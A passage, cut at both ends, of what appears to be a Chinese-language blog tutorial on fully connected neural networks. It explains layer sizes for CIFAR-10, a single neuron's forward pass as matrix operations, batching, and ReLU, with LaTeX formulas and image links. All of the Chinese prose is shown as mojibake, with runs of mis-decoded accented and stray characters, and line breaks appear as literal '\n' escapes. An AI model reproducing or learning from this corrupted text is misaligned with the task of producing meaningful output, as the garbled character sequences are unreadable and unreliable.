็‚น็š„3ไธชๆ•ฐๆฎ็ปดๅบฆๆ˜ฏๆœ‰ๅบ็š„๏ผŒๅˆ†ๅˆซๅฏนๅบ”็บข็ปฟ่“(RGB)๏ผ‰\n\n\n\n\n\n---\n\n## ๅ…ณไบŽ็ฅž็ป็ฝ‘็ปœ๏ผŒไฝ ่ตท็ ๅบ”่ฏฅ็Ÿฅ้“็š„๏ผ\n\nไธ‹ๅ›พๆ˜ฏๅฐ†็ฅž็ป็ฝ‘็ปœ็ฎ—ๆณ•ไปฅ็ฅž็ปๅ…ƒ็š„ๅฝขๅผ็ป˜ๅˆถ็š„ไธคไธชๅ›พไพ‹๏ผŒๆƒณๅฟ…ๅŒๅฟ—ไปฌๆ—ฉๅทฒ่งๆ€ชไธๆ€ชไบ†ใ€‚\n\nไฝ†ๆ˜ฏ๏ผŒไฝ ่ตท็ ๅบ”่ฏฅ็Ÿฅ้“็š„ๆ˜ฏๅ…ถไธญๅ„็ง็บฆๅฎšๅ’Œๅฎšไน‰๏ผš\n\n---\n\n![](https://i.loli.net/2018/08/20/5b7a0f4b76ccb.png)\n\n**ๅทฆ่พน**ๆ˜ฏไธ€ไธช2ๅฑ‚็ฅž็ป็ฝ‘็ปœ๏ผŒไธ€ไธช้š่—ๅฑ‚(่“่‰ฒๅฑ‚)ๆœ‰4ไธช็ฅž็ปๅ…ƒ(ไนŸๅฏ็งฐไธบๅ•ๅ…ƒ(unit))็ป„ๆˆ๏ผŒ่พ“ๅ‡บๅฑ‚(็ปฟ่‰ฒ)็”ฑ2ไธช็ฅž็ปๅ…ƒ็ป„ๆˆ๏ผŒ่พ“ๅ…ฅๅฑ‚(็บข่‰ฒ)ๆ˜ฏ3ไธช\"็ฅž็ปๅ…ƒ\"ใ€‚**ๅณ่พน**ๆ˜ฏไธ€ไธช3ๅฑ‚็ฅž็ป็ฝ‘็ปœ๏ผŒไธคไธช้š่—ๅฑ‚๏ผŒๆฏๅฑ‚ๅˆ†ๅˆซๅซ4ไธช็ฅž็ปๅ…ƒใ€‚<u>ๆณจๆ„๏ผšๅฑ‚ไธŽๅฑ‚ไน‹้—ด็š„็ฅž็ปๅ…ƒๆ˜ฏๅ…จ่ฟžๆŽฅ็š„๏ผŒไฝ†ๆ˜ฏๅฑ‚ๅ†…็š„็ฅž็ปๅ…ƒไธ่ฟžๆŽฅ๏ผˆๅฆ‚ๆญคๅฐฑๆ˜ฏๆ‰€่ฐ“**ๅ…จ่ฟžๆŽฅๅฑ‚็ฅž็ป็ฝ‘็ปœ**๏ผ‰ใ€‚</u>\n\n่ฟ™้‡Œๆœ‰ไธช**ๅฐๅ‘**๏ผš่พ“ๅ…ฅๅฑ‚็š„ๆฏไธชๅœˆๅœˆไปฃ่กจ็š„ๅฏไธๆ˜ฏๆฏไธ€ๅผ ๅ›พ็‰‡๏ผŒๅ…ถๅฎžไนŸไธๆ˜ฏ็ฅž็ปๅ…ƒใ€‚ๅบ”่ฏฅ่ฏดๆ•ดไธช็บตๅ‘ๆŽ’ๅˆ—็š„่พ“ๅ…ฅๅฑ‚ๅŒ…ๅซไบ†ไธ€ๅผ ๆ ทๆœฌๅ›พ็‰‡็š„ๆ‰€ๆœ‰ไฟกๆฏ๏ผŒไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒๆฏไธชๅœˆๅœˆไปฃ่กจ็š„ๆ˜ฏๆŸๆ ทๆœฌๅ›พ็‰‡ๅฏนๅบ”ไฝ็ฝฎ็š„ๅƒ็ด ๆ•ฐๅ€ผใ€‚ๅฏ่งๅฏนไบŽ[CIFAR-10](http://link.zhihu.com/?target=http%3A//www.cs.toronto.edu/%7Ekriz/cifar.html)ๆ•ฐๆฎ้›†ๆฅ่ฏด๏ผŒ่พ“ๅ…ฅๅฑ‚็š„็ปดๆ•ฐๅฐฑๆ˜ฏ$32\\times32\\times3$๏ผŒๅ…ฑ3072ไธชๅœˆๅœˆๅ‘ข๏ผ่‡ณไบŽ่พ“ๅ‡บๅฑ‚็š„็ฅž็ปๅ…ƒๆ•ฐไนŸๆ˜ฏไพ่ต–ๆ•ฐๆฎ้›†็š„๏ผŒๅฐฑ[CIFAR-10](http://link.zhihu.com/?target=http%3A//www.cs.toronto.edu/%7Ekriz/cifar.html)ๆ•ฐๆฎ้›†ๆฅ่ฏด๏ผŒ่พ“ๅ‡บๅฑ‚็ปดๆ•ฐๅฟ…็„ถๆ˜ฏ10๏ผŒๅณๅฏนๅบ”ๆ•ฐๆฎ้›†็š„10ไธชๆ ‡็ญพใ€‚่‡ณไบŽไธญ้—ด็š„้š่—ๅฑ‚ๅฏไปฅๆœ‰ๅคšๅฐ‘ๅฑ‚๏ผŒไปฅๅŠๆฏๅฑ‚็š„็ฅž็ปๅ…ƒไธชๆ•ฐๅฐฑ้ƒฝๅฏไปฅไปปๆ„ๅ•ฆ๏ผไฝ ่ฏด็‰›ไธ็‰›๏ผŸ๏ผ\n\n---\n\nๅœจๆŽฅไธ‹ๆฅๆˆ‘ไปฌ็š„ๆ•…ไบ‹ไธญ๏ผŒ่ฆไปŽไปฃ็ ๅฎž็Žฐ็š„่ง’ๅบฆๆ…ขๆ…ขๅ‰–ๆž๏ผŒๅ…ˆไปŽไธ€ไธช็ฅž็ปๅ…ƒ็š„่ง’ๅบฆๅ‡บๅ‘๏ผŒๅ†ๆžๆธ…ๆฅšไธ€ๅฑ‚็ฅž็ปๅ…ƒไปฌๆ˜ฏๅฆ‚ไฝ•ๅนฒๆดป็š„๏ผŒ็„ถๅŽ้€ๆธ็š„ๅผ„ๆธ…ๆฅšไธ€ไธชๅซๆœ‰ไปปๆ„็ฅž็ปๅ…ƒไธชๆ•ฐ้š่—ๅฑ‚็š„็ฅž็ป็ฝ‘็ปœ็ฉถ็ซŸๆ˜ฏๆ€Žไนˆ็Žฉ็š„๏ผŒๅœจๆ•…ไบ‹็š„ๆœ€ๅŽๅฐ†ไผšไปฅCIFAR-10ๆ•ฐๆฎ้›†็š„ๅˆ†็ฑป้—ฎ้ข˜ไธบ็›ฎๆ ‡ไธ€่ฏ•่บซๆ‰‹๏ผŒ็œ‹็œ‹ๆˆ‘ไปฌๆž„้€ ็š„็ฅž็ป็ฝ‘็ปœ็ฉถ็ซŸๆ˜ฏๅฆ‚ไฝ•ๅทฅไฝœ่ฟ่ฝฌ็š„ใ€‚\n\n\n\n\n\n\n\n---\n\n## ๆ‰€่ฐ“็š„ๅ‰ๅ‘ไผ ๆ’ญ\n\n\n\n### ไธ€ไธช็ฅž็ปๅ…ƒ็š„ๆœฌไบ‹\n\nๆˆ‘ไปฌๅ…ˆไป…**ๅ‰ๅ‘ไผ ๆ’ญ**่€Œ่จ€๏ผŒๆฅ่ฐˆ่ฐˆ**ไธ€ไธช็ฅž็ปๅ…ƒ**็ฉถ็ซŸๆ˜ฏๅšไบ†ไป€ไนˆไบ‹ๆƒ…ใ€‚\n\n![](http://upload-images.jianshu.io/upload_images/2301760-08e7b1c0cdfe2263.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n**ๅ‰ๅ‘ไผ ๆ’ญ**๏ผŒ่ฟ™ๅๅญ—่ตท็š„ไนŸๆ˜ฏ็ฅžไนŽๅ…ถ็ฅž็š„๏ผŒ่ฏด็™ฝไบ†ๅฐฑๆ˜ฏๅฐ†ๆ ทๆœฌๅ›พ็‰‡็š„ๆ•ฐๆฎไฟกๆฏ๏ผŒๆฒฟ็€็ฎญๅคดๆญฃๅ‘ไผ ็ป™ไธ€ไธชๅธฆๅ‚ๆ•ฐ็š„็ฅž็ป็ฝ‘็ปœๅฑ‚ไธญๅ’€ๅšผไธ€็•ช๏ผŒ็„ถๅŽๅ†ๅๅ‡บๆฅไธ€ๅ †ๆ•ฐๆฎๅ†ๅ–‚็ป™ๅŽ้ข็š„ไธ€ๅฑ‚ๅƒ(ๅฆ‚ๆญค่€Œๅทฒ๏ผŒๅฑ…็„ถๅฐฑๅซๅšไบ†ๅ‰ๅ‘/ๆญฃๅ‘ไผ ๆ’ญไบ†๏ผŒ่ฎฉไบบๅฟไธไฝๅๆงฝไธ€็•ช)ใ€‚้‚ฃไนˆ๏ผŒๅฏนไบŽไธ€ไธช**ๅ…จ่ฟžๆŽฅๅฑ‚(fully-connected layer)** [^้‡Šไน‰1]\n\n[^้‡Šไน‰1]: ๅ…จ่ฟžๆŽฅๅฑ‚ไธญ็š„็ฅž็ปๅ…ƒไธŽๅ…ถๅ‰ๅŽไธคๅฑ‚็š„็ฅž็ปๅ…ƒๆ˜ฏๅฎŒๅ…จๆˆๅฏน่ฟžๆŽฅ็š„๏ผŒไฝ†ๆ˜ฏๅœจๅŒไธ€ไธชๅ…จ่ฟžๆŽฅๅฑ‚ๅ†…็š„็ฅž็ปๅ…ƒไน‹้—ดๆฒกๆœ‰่ฟžๆŽฅใ€‚\n\n็š„ๅ‰ๅ‘ไผ ๆ’ญๆฅ่ฏด๏ผŒๆ‰€่ฐ“็š„โ€œๅธฆๅ‚ๆ•ฐ็š„็ฅž็ป็ฝ‘็ปœๅฑ‚โ€ไธ€่ˆฌๅฐฑๆ˜ฏๆŒ‡ๅฏน่พ“ๅ…ฅๆ•ฐๆฎๆบ(ๆญคๅŽ็”จ\"ๆ•ฐๆฎๆบ\"่ฟ™ไธช่ฏๆฅ่กจ็คบ่พ“ๅ…ฅๅฑ‚ๆ‰€ๆœ‰่พ“ๅ…ฅๆ ทๆœฌๅ›พ็‰‡ๆ•ฐๆฎๆ€ปไฝ“)ๅ…ˆ่ฟ›่กŒไธ€ไธช็Ÿฉ้˜ตไน˜ๆณ•๏ผŒ็„ถๅŽๅŠ ไธŠๅ็ฝฎ๏ผŒๅพ—ๅˆฐๆ•ฐๅญ—ๅ†่ฟ็”จๆฟ€ๆดปๅ‡ฝๆ•ฐ\"ไฟฎ้ฅฐ\"๏ผŒๆœ€ๅŽๅ†ๅๅค่ฟญไปฃ็ฝขไบ†๏ผˆๅŽๆ–‡้ƒฝ้ป˜่ฎคไฝฟ็”จๆญค็บฟๆ€งๆจกๅž‹๏ผ‰ใ€‚\n\nๆ˜ฏไธๆ˜ฏๆ™•ไบ†๏ผŸๅˆซ็€ๆ€ฅ๏ผŒๆˆ‘ไปฌ่ฟ›ไธ€ๆญฅๅšผ็ขŽไบ†ๆฅ็œ‹็œ‹ไธ€ไธช็ฅž็ปๅ…ƒ(ๅค„ไบŽ็ฌฌไธ€้š่—ๅฑ‚)็ฉถ็ซŸๆ˜ฏๅฆ‚ไฝ•ๅค„็†่พ“ๅ…ฅๅฑ‚ไผ ๆฅ็š„ไธ€ๅผ ๆ ทๆœฌๅ›พ็‰‡(ๅธฆๆœ‰็Œซๅ’ชๆ ‡็ญพ)็š„๏ผŸ\n\n![](http://images2015.cnblogs.com/blog/405927/201603/405927-20160327155604964-1011783613.png)\n\nไธŠ้ขๆๅˆฐ่ฟ‡๏ผŒ่พ“ๅ…ฅๆ•ฐๆฎๆบๆ˜ฏไธ€ๅผ ๅฐบๅฏธไธบ$32\\times 32$็š„RGBๅฝฉ่‰ฒๅ›พๅƒ๏ผŒๆˆ‘ไปฌๅ‡ๅฎš่พ“ๅ…ฅๆ•ฐๆฎ$x_i$็š„ไธชๆ•ฐๆ˜ฏ$D$็š„่ฏ๏ผˆๅณ$i$ๆ˜ฏๆœ‰$D$ไธช๏ผ‰๏ผŒ้‚ฃ่ฟ™ไธช$D=32\\times 32\\times 3=3072$ใ€‚ไธบไบ†ๆ™ฎ้ๆ„ไน‰๏ผŒไธ‹ๆ–‡็ปง็ปญ็”จๅคงๅ†™ๅญ—ๆฏ$D$ๆฅ่กจ็คบไธ€ๅผ ๅ›พ็‰‡ไฝœไธบๆ•ฐๆฎๆบ็š„็ปดๆ•ฐไธชๆ•ฐ๏ผˆๅฆ‚ๆžœ่ฏฅ็ฅž็ปๅ…ƒไฝไบŽ้š่—ๅฑ‚๏ผŒๅˆ™ๅคงๅ†™ๅญ—ๆฏ$D$่กจ็คบๆœฌ้š่—ๅฑ‚็ฅž็ปๅ…ƒ็š„็ฅž็ปๅ…ƒไธชๆ•ฐ๏ผŒไธ‹ไธ€่Š‚่ฟ˜ไผšๆๅˆฐ๏ผ‰ใ€‚\n\nๆ˜พ็„ถ๏ผŒไธ€ๅผ ๅ›พ็‰‡ไธญ็š„$D$ไธชๆ•ฐๆฎ$x_i$ๅŒ…ๅซไบ†ๅˆคๆ–ญ่ฏฅๅ›พ็‰‡ๆ˜ฏไธ€ๆ”ฏ็Œซ็š„ๆ‰€ๆœ‰็‰นๅพไฟกๆฏ๏ผŒ้‚ฃไนˆๆˆ‘ไปฌๅฐฑ้œ€่ฆ\"ๅ……ๅˆ†ๅˆฉ็”จ\"่ฟ™ไบ›ไฟกๆฏๆฅ็ป™่ฟ™ๅผ ๆ ทๆœฌๅ›พ็‰‡\"ๆ‰“ไธชๅˆ†\"๏ผŒๆฅ่ฏ„ไปทไธ€ไธ‹่ฟ™ๅผ ๅ›พๅƒ็ฉถ็ซŸๆœ‰ๅคšๅƒ็Œซใ€‚\n\nไธ่ƒฝ็ฉบๅฃๅฅ—็™ฝ็‹ผ๏ผŒไธ€ๅผ ็พŽๅ›พ่ฏดๆ˜Ž้—ฎ้ข˜๏ผš\n\n---\n\n![](https://i.loli.net/2018/08/20/5b7a0f6e2d00e.png)\n\n**ๅทฆๅ›พ**ไธ็”จ็œ‹๏ผŒ่ฟ™ไธชไธ€่ˆฌๆ˜ฏ็”จๆฅ่ฃ…X็”จ็š„๏ผŒๅนถไธๆ˜ฏ็œŸ็š„่ฆไธฅๆ ผ็ฑปๆฏ”ใ€‚่™ฝ็„ถๆœ€ๅˆ็š„็ฅž็ป็ฝ‘็ปœ็ฎ—ๆณ•็กฎๅฎžๆ˜ฏๅ—็”Ÿ็‰ฉ็ฅž็ป็ณป็ปŸ็š„ๅฏๅ‘๏ผŒไฝ†ๆ˜ฏ็Žฐๅœจๆ—ฉๅทฒไธŽไน‹ๅˆ†้“ๆ‰ฌ้•ณ๏ผŒๆˆไธบไธ€ไธชๅทฅ็จ‹้—ฎ้ข˜ใ€‚ๅ…ณ้”ฎๆˆ‘ไปฌๆ˜ฏ่ฆ็œ‹**ๅณๅ›พ**็š„ๆ•ฐๅญฆๆจกๅž‹(ไธฅๆ ผๅœฐ่ฏด๏ผŒ่ฟ™ๅฐฑๆ˜ฏไผ ่ฏดไธญ็š„**ๆ„Ÿ็Ÿฅๅ™จperceptron**)ใ€‚\n\n---\n\nๅฆ‚ๅณๅ›พไธญ็š„ๆ•ฐๅญฆๆจกๅž‹ๆ‰€็คบ๏ผŒๆˆ‘ไปฌไธบๆฏไธ€ไธชๅ–‚่ฟ›ๆฅ็š„ๆ•ฐๆฎ$x_i$้ƒฝๅฏนๅบ”็š„\"่ฎธ้…\"ไธ€ไธช\"ๆƒ้‡\"ๅ‚ๆ•ฐ$w_i$๏ผŒๅ†ๅŠ ไธŠไธ€ไธชๅ็ฝฎ$b$๏ผŒ็„ถๅŽไธ€่‚ก่„‘็š„ๆŠŠไป–ไปฌ้ƒฝๅŠ ่ตทๆฅๅพ—ๅˆฐไธ€ไธชๆ•ฐ(scalar)๏ผš\n$$\n\\sum_iw_ix_i+b = w_0x_0+w_1x_1+\\cdots+w_{D-1}x_{D-1}+b\\\\\n$$\nไธŠ้ข็š„ไปฃๆ•ฐ่กจ่พพๅผ็œ‹ไธŠๅŽปๅพˆ็นๆ‚๏ผŒไธๅฎนๆ˜“ๆŽจๅนฟ๏ผŒๆ‰€ไปฅๆˆ‘ไปฌๆŠŠๅฎƒๆ”นๅ†™ๆˆไธ€ไธชๅŽๆ–‡ๆ›ดๅธธ็”จๅˆฐ็š„๏ผŒไนŸๆ˜ฏๅพˆๅฎนๆ˜“็”จไปฃ็ ๅฎž็Žฐ็š„็Ÿฉ้˜ต่กจ่พพๅผ๏ผš\n$$\n\\underbrace{\\begin{bmatrix}\n \\sum_iw_ix_i+b \n\\end{bmatrix}}_{1\\times 1}\n=\n\\underbrace{\\begin{bmatrix}\n\\cdots & x_i & \\cdots\n\\end{bmatrix}}_{1\\times D}\n\\cdot\n\\underbrace{\\begin{bmatrix}\n\\vdots \\\\ \n w_i \\\\ \n\\vdots \n\\end{bmatrix}}_{D\\times 1}\n+\n\\underbrace{\\begin{bmatrix}\n b \n\\end{bmatrix}}_{1\\times 1}\n$$\nไธŠ้ข็ญ‰ๅผๅทฆไพง่ฟ™ๆ ท็ฎ—ๅ‡บ็š„ไธ€ไธชๆ•ฐๅญ—๏ผŒ่กจ็คบไธบๅฏนไบŽ่พ“ๅ…ฅ่ฟ›ๆฅ็š„$D$ไธชๆ•ฐๆฎ$x_i$๏ผŒๅœจๅฝ“ๅ‰้€‰ๅฎš็š„ๅ‚ๆ•ฐ$(w_i,b)$ไธ‹๏ผŒ่ฟ™ไธช็ฅž็ปๅ…ƒ่ƒฝๅคŸๆญฃ็กฎ่ฏ„ไปทๅ…ถๆ‰€ๅฏนๅบ”็š„\"็Œซๅ’ช\"ๆ ‡็ญพ็š„็จ‹ๅบฆใ€‚ๆ‰€ไปฅ๏ผŒ่ฟ™ไธชๅพ—ๅˆ†่ถŠ้ซ˜๏ผŒ่ถŠ่ƒฝ่ฏดๆ˜Žๅ…ถๅฏนๅบ”็š„ๅœจๆŸ็ง$(w_i,b)$่ฟ™$D+1$ไธชๅ‚ๆ•ฐ็š„่ฏ„ไปทไธ‹๏ผŒ่ฏฅ็ฅž็ปๅ…ƒๆญฃ็กฎๅˆคๆ–ญ็š„่ƒฝๅŠ›่ถŠๅฅฝ๏ผŒๅ‡†็กฎ็Ž‡่ถŠ้ซ˜ใ€‚\n\nๆขๅฅ่ฏ่ฏด๏ผŒ็›ธๅฝ“ไบŽๆ˜ฏๆœ‰ไธ€ไธช็ฅž็ปๅ…ƒๅๅœจๆŸ้€‰็ง€็š„่ฏ„ๅง”ๅธญ้‡Œ๏ผŒๆˆด็€ไธ€ๆฌพๅบฆๆ•ฐไธบ$(w_i,b)$้›ทๆœ‹็œผ้•œ๏ผŒ็ป™ๆŸไธ€ไฝๅฐไธŠๆจกไปฟ็Œซๅ’ช็š„ๆ ทๆœฌๅ›พ็‰‡$x_i$ๆ‰“ไบ†ไธ€ไธชๅˆ†(่ฏ„ไปทๅˆ†ๆ•ฐ)ใ€‚ๆ˜พ็„ถ๏ผŒๅพ—ๅˆ†็š„้ซ˜ไฝŽๆ˜ฏไธไป…ไพ่ต–ไบŽๅฐไธŠ็š„ไธป่ง’$x_i$็š„่กจ็Žฐ๏ผŒ่ฟ˜ไธฅ้‡ไพ่ต–ไบŽ็ฅž็ปๅ…ƒ่ฏ„ๅง”ๆˆด็€็š„ๆœ‰่‰ฒ็œผ้•œ(ๅ‚ๆ•ฐ$w_i,b$)ใ€‚ๅฝ“็„ถ๏ผŒๆˆ‘ไปฌๅทฒ็ปๅ‡ๅฎš่ฏ„ๅง”็š„ๆ™บๅ•†(็บฟๆ€งๆจกๅž‹)ๆ˜ฏๅˆไนŽ็ปŸไธ€่ฆๆฑ‚็š„ใ€‚\n\n็Žฐๅฆ‚ไปŠ๏ผŒๅ‚ๅŠ ้€‰็ง€็š„ไบบๅฏ่ฐ“่ถ‹ไน‹่‹ฅ้นœ๏ผŒไธ€ไธช็ฅž็ปๅ…ƒ่ฏ„ๅง”่ฏฅๅฆ‚ไฝ•ๅŒๆ—ถ็š„ๆ‰น้‡ๅŒ–ๆ‰“ๅˆ†๏ผŒๆ้ซ˜ๆ•ˆ็Ž‡ๅ—ฏ๏ผŸ\n\nไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒไธ€ไธช็ฅž็ปๅ…ƒ้ขๅฏน$N$ๅผ ๅ›พ็‰‡่ฏฅๅฆ‚ไฝ•็ป™ๆฏไธ€ๅผ ๅ›พ็‰‡ๆ‰“ๅˆ†็š„้—ฎ้ข˜ใ€‚่ฟ™ๅฐฑๆ˜ฏ็Ÿฉ้˜ต่กจ่พพๅผ็š„ไผ˜ๅŠฟไบ†๏ผŒๆˆ‘ไปฌๅช้œ€่ฆๅพˆ่‡ช็„ถๅœฐๆŠŠไธŠ่ฟฐ็Ÿฉ้˜ต่กจ่พพๅผ็บตๅ‘ๅปถๅฑ•ไธ‹ๅณๅฏ๏ผŒๅฆ‚ไธ‹ๆ‰€็คบ๏ผš\n$$\n\\underbrace{\\begin{bmatrix}\n \\sum_iw_ix_i+b \\\\\n \\vdots\n\\end{bmatrix}}_{N\\times1 }\n=\n\\underbrace{\\begin{bmatrix}\n\\cdots & x_i & \\cdots \\\\\n& \\vdots &\n\\end{bmatrix}}_{N\\times D}\n\\cdot\n\\underbrace{\\begin{bmatrix}\n\\vdots \\\\ \n w_i \\\\ \n\\vdots \n\\end{bmatrix}}_{D\\times 1}\n+\n\\underbrace{\\begin{bmatrix}\n b \\\\\n \\vdots\\\\\n \\vdots\n\\end{bmatrix}}_{N\\times 1}\n$$\nไธŠ้ข็Ÿฉ้˜ต่กจ่พพๅผไธญ๏ผŒ็ญ‰ๅทๅทฆไพง็š„ๅพ—ๅˆ†็Ÿฉ้˜ตไธญๆฏไธ€่กŒ่ฟ็ฎ—้ƒฝๆ˜ฏ็‹ฌ็ซ‹ๅนถ่กŒ็š„๏ผŒๅนถไธ”ๅ…ถๆฏไธ€่กŒๅˆ†ๅˆซไปฃ่กจ$N$ๅผ ๆ ทๆœฌๅ›พ็‰‡็š„ๆ•ฐๆฎ็ป่ฟ‡ไธ€ไธช็ฅž็ปๅ…ƒๅŽ็š„ๅพ—ๅˆ†ๆ•ฐๅ€ผใ€‚ๅˆฐๆญค๏ผŒๆˆ‘ไปฌๅฐฑๆ˜Ž็™ฝไบ†ไธ€ไธช็ฅž็ปๅ…ƒๆ˜ฏๅฆ‚ไฝ•้ขๅฏนไธ€ไธชshapeไธบ(N, D)็š„่พ“ๅ…ฅๆ ทๆœฌๅ›พ็‰‡ๆ•ฐๆฎ็Ÿฉ้˜ต๏ผŒๅนถ็ป™ๅ‡บๅพ—ๅˆ†็š„ใ€‚\n\n็„ถ่€Œ๏ผŒๅ…ณไบŽไธ€ไธช็ฅž็ปๅ…ƒ็š„ๆ•…ไบ‹่ฟ˜ๆฒกๅฎŒใ€‚\n\nไฝ ๅฏ่ƒฝๆณจๆ„ๅˆฐไบ†๏ผŒไธŠ้ขไพ‹ๅญไธญ็š„็พŽๅ›พไธญๆœ‰ไธชๅ‡ฝๆ•ฐf๏ผŒๆˆ‘ไปฌๆŠŠๅ›พๆ”พๅคงไป”็ป†็œ‹ๆธ…ๆฅš๏ผš\n\n![](http://cs231n.github.io/assets/nn1/neuron_model.jpeg)\n\nๅœจ็ฅž็ปๅ…ƒๅฏนๆฏๅผ ๅ›พ็‰‡็ฎ—ๅพ—็š„โ€œๅพ—ๅˆ†โ€้€็ป™ไธ‹ไธ€ไธช็ฅž็ปๅ…ƒไน‹ๅ‰้ƒฝ่ฆ็ป่ฟ‡ไธ€ไธชๅ‡ฝๆ•ฐf็š„่€ƒ้ชŒใ€‚่ฟ™ๅฐฑๆš—็คบๆˆ‘ไปฌ๏ผŒ้€‰็ง€่Š‚็›ฎ็š„ๅฏผๆผ”ๅฏน็ฅž็ปๅ…ƒ่ฏ„ๅง”็ป™ๅ‡บ็š„ๅพ—ๅˆ†่ฟ˜ๅนถไธๆปกๆ„๏ผŒไธบไบ†(ๆœชๆฅๆจกๅž‹่ฎญ็ปƒ็š„)ๅฟซๆทๆ–นไพฟ๏ผŒๅฏผๆผ”่ฆๆฑ‚ๅฏนๆฏไธ€ไธชๅพ—ๅˆ†้œ€่ฆๅš่ฟ›ไธ€ๆญฅ็š„โ€œๆฟ€ๆดปโ€ๅค„็†๏ผˆๅณไธŠๅ›พไธญ็š„ๅ‡ฝๆ•ฐ$f$๏ผ‰๏ผŒไบŽๆ˜ฏ่ฟ™ไธชๅซ**ๆฟ€ๆดปๅ‡ฝๆ•ฐ(activation)**็š„ๅฎถไผ™ไธด้—จๆŠฝไธ€่„š๏ผŒ่ฆๆฑ‚ๆŠŠๅพ—ๅˆ†ๅฐไบŽ้›ถ็š„้ƒฝ้˜‰ๅ‰ฒๆŽ‰๏ผŒไธ€ๅพ‹็ป™0ๅˆ†๏ผˆ้ƒฝๅพ—่ดŸๅˆ†็š„ไบ†่ฟ˜้€‰ไป€ไนˆ็ง€ๅ•Š๏ผŸ็ป™0ๅˆ†ๆปš่›‹๏ผ‰๏ผš\n$$\nf(x)=\\max(0,x)\n$$\n๏ผˆ่ฟ™ๅฐฑๆ˜ฏ่ฟ‘ไบ›ๅนดๅพˆๆต่กŒ็š„้ž็บฟๆ€งๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผŒๅซๅš**ReLU**๏ผ‰\n\nๆ‰€ไปฅ๏ผŒๆ€ป็ป“ไธ‹ๆฅ๏ผŒไธ€ไธช็ฅž็ปๅ…ƒๅนฒ็š„ๆดปๅฐฑๆ˜ฏๅฆ‚ไธ‹ๆ‰€็คบ็š„ๅ…ฌๅผ๏ผš\n$$\n\\text{out}=f(\\sum_iw_ix_i+b)=\\max(0,\\sum_iw_ix_i+b)\n$$\nๅฆ‚ๆžœ่ฟ™ไธชๆ•ฐๅญฆ็œ‹ๅพ—่ฎฉไบบๅฟƒ็ƒฆๆ„ไนฑ๏ผŒไธ่ฆๆ€•๏ผŒไธ€ๅฑ‚็ฅž็ปๅ…ƒ็š„ๆ•…ไบ‹ไน‹ๅŽๅฐฑๆ˜ฏไธ‡ไผ—ๆœŸๅพ…็š„Pythonไปฃ็ ๅฎž็Žฐไบ†๏ผŒ็›ธไฟก็œ‹ๅŽไผš่ฎฉไฝ ไธ็ฆๆ„Ÿๆ…จ๏ผšโ€œๅฐๆ ท๏ผไธ่ฟ‡ๅฆ‚ๆญคๅ˜›๏ฝžโ€\n\n**ๅฐๅค‡ๆณจ๏ผš**\n\n่ฟ™้‡Œๆœ€ๅŽๅ†ๅคšไธ€ๅฅๅ˜ด๏ผšไธ€ไธช็ฅž็ปๅ…ƒๅœจๆญฃๅ‘ไผ ๆ’ญไธญ่พ“ๅ‡บ็š„ๅชๆ˜ฏไธ€ไธชๆ•ฐๅญ—๏ผŒๅฆๅค–๏ผŒ็ฅž็ป็ฝ‘็ปœ็š„่ฎญ็ปƒ่ฟ‡็จ‹๏ผŒ่ฎญ็ปƒ็š„ๆ˜ฏไธŠ่ฟฐๆๅˆฐ็š„ๆจกๅž‹ๅ‚ๆ•ฐ$(w_i,b)$ใ€‚\n\nๅ†ๅคšไธ€ๅฅๅ˜ด๏ผŒ้€šๅธธๆˆ‘ไปฌๅœจๆ•ดไธช็ฅž็ป็ฝ‘็ปœ็ป“ๆž„ไธญๅชไฝฟ็”จไธ€็งๆฟ€ๆดปๅ‡ฝๆ•ฐใ€‚ๅนถไธ”ๅ€ผๅพ—ไฝ ๆณจๆ„็š„ๆ˜ฏ๏ผŒๅ…จ่ฟžๆŽฅๅฑ‚็š„ๆœ€ๅŽไธ€ๅฑ‚ๅฐฑๆ˜ฏ**่พ“ๅ‡บๅฑ‚**๏ผŒ้™คไบ†่ฟ™ไธชๆœ€ๅŽไธ€ๅฑ‚๏ผŒๅ…ถๅฎƒ็š„ๅ…จ่ฟžๆŽฅๅฑ‚็ฅž็ปๅ…ƒ้ƒฝ่ฆๅŒ…ๅซๆฟ€ๆดปๅ‡ฝๆ•ฐใ€‚\n\nๆœ€ๆœ€ๅŽ่ฏดๅ†ไธ€ๅฅ๏ผŒ็ฅž็ป็ฝ‘็ปœ็š„ๆฟ€ๆดปๅ‡ฝๆ•ฐๆ˜ฏ<u>้ž็บฟๆ€ง็š„</u>๏ผŒๆ‰€ไปฅ็ฅž็ป็ฝ‘็ปœๆ˜ฏไธ€ไธช้ž็บฟๆ€งๅˆ†็ฑปๅ™จใ€‚\n\n\n\n\n\n---\n\n### ๅผบๅคง็š„ๅฑ‚็Šถ็ฅž็ปๅ…ƒ\n\n\n\nๅœจๆญฃๅผๅผ€ๅง‹่ฐˆไธ€ๅฑ‚็ฅž็ปๅ…ƒไน‹ๅ‰๏ผŒๆˆ‘ไปฌ็ปง็ปญๆฅๆŽข่ฎจไธ‹็ฅž็ปๅ…ƒ้ขๅฏนไธ€ๅผ ๅ›พ็‰‡่ฟ˜ๅฏไปฅๅšไป€ไนˆ๏ผŸ\n\nๅฏนไบŽไธ€ๅผ ๆ ‡็ญพๆ˜ฏ็Œซๅ’ช็š„ๆ ทๆœฌๅ›พ็‰‡๏ผŒๆˆ‘ไปฌๅ…‰่ƒฝ่ฏ„ไปทๆœ‰ๅคšไนˆ็š„ๅƒ็Œซๅ’ช่ฟ˜ไธ่ƒฝๆปก่ถณ๏ผŒๆˆ‘ไปฌ่ฟ˜้œ€่ฆ็ฅž็ปๅ…ƒ่ฏ„ไปทไธ€ไธ‹ๅ…ถไป–9ไธชๆ ‡็ญพๆ‰่กŒ๏ผŒ็„ถๅŽๆ‰ๅฅฝๆฏ”่พƒ่ฏ„ๅˆคๅพ—ๅ‡บๆœ€็ปˆ็ป“่ฎบใ€‚ไบŽๆ˜ฏ๏ผŒๅ…‰็”จ$(w_i,b)$ 